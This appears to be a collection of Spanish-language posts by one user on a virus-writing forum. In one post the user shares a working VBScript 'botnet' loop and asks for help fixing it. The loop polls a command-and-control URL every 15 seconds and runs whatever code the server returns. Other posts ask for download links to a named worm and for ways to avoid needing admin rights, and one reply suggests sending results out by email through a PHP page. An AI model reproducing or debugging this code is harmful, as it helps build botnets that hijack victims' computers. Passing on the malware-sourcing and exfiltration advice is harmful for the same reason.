Mensajes

[MowPax]

En la página de gedzac

Ya entré a la página de GEDZAC y no hay nada sobre LeChucK, lo unico que hay es la participación de MowPax en la 4 E-Zine de Mitosis 

Hay alguna forma de utilizar los sockets en vb6 sin registrar el ocx?   
Por ejemplo, dejarlo en la carpeta del ejecutable y que lo importe de ahi sin registrarlo, para que no requiera permisos de administrador

Estoy buscando una solucion desde hace semanas y no encuentro nada. 
Alguna idea? Gracias

[Nombre Real:]

Desde hace meses que me viene interesando este virus. Quiero analizarlo para ver su funcionamiento.  
Nombre Real: Worm_VB.FKO
Alias:

• Trojan-Downloader.Win32.VB.bbl
• Generic.dx
• W32.SillyFDC
• TR/Dldr.VB.bbl.2

El que tenga informacion sobre como conseguir este virus comente y pase link

Desde ya muchas gracias  

Amigo, no creo que sea eso. Mira esto: http://ito.mx/LGun

Directamente el responseText no se actualiza   

[k.tmp]

Hola! Tengo un problema con uno de mis proyectos, quiero hacer una botnet vbs pero no funciona como esperaba:

Código [Seleccionar] Expandir


On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set http = CreateObject("Microsoft.XmlHttp")

Do
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 1, True)
filex = file.readAll
file.Close
http.open "GET", "http://*****.tk/btnet/cmdint.php", False
http.send
If Not(http.responsetext = filex) Then
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 2, True)
file.Write http.responsetext
file.Close
Execute http.responsetext
End If
Wscript.Sleep 15000
Loop


Cuando se inicia por primera vez, la botnet busca en mi servidor C&C el codigo a ejecutar.
Luego, ejecuta el codigo y lo guarda en un archivo llamado k.tmp
Cuando se repite deberia volver a buscar el codigo en el servidor, y gracias al archivo k.tmp, verificar si el codigo ya se ejecutó antes.

El problema es que cuando ocurre el loop y el archivo de instrucciones del servidor se actualizó, la botnet no recibe el nuevo codigo, sino el anterior 

¿Como puedo solucionarlo?

Me di cuenta que muchas personas en vbs utilizan la siguiente instrucción:

Código [Seleccionar] Expandir

Set fso = Nothing

¿Cambia en algo que lo ponga? ¿Para que me podría servir?

Prueba subiendo el resultado por la URL de una página PHP, que envíe la info a un correo

Hola! Estaba viendo algunos videos del youtube danooct1 cuando de repente vi esto:



Y me gustaria saber como se llamaria a ese MSGBOX, no creo que sea un formulario ya que otros virus usan el mismo diseño, y no me parece que casualmente usen el mismo diseño... :/

Cualquier ayuda es bien recibida

Hola! Quiero crear una aplicación que reciba argumentos a través de línea de comandos (Creo que con command()) y luego poder imprimir un mensaje a través de CMD. Se puede conseguir?

Gracias de antemano.

Gracias, por fin pude lograr el efecto que quería. Gracias por contestar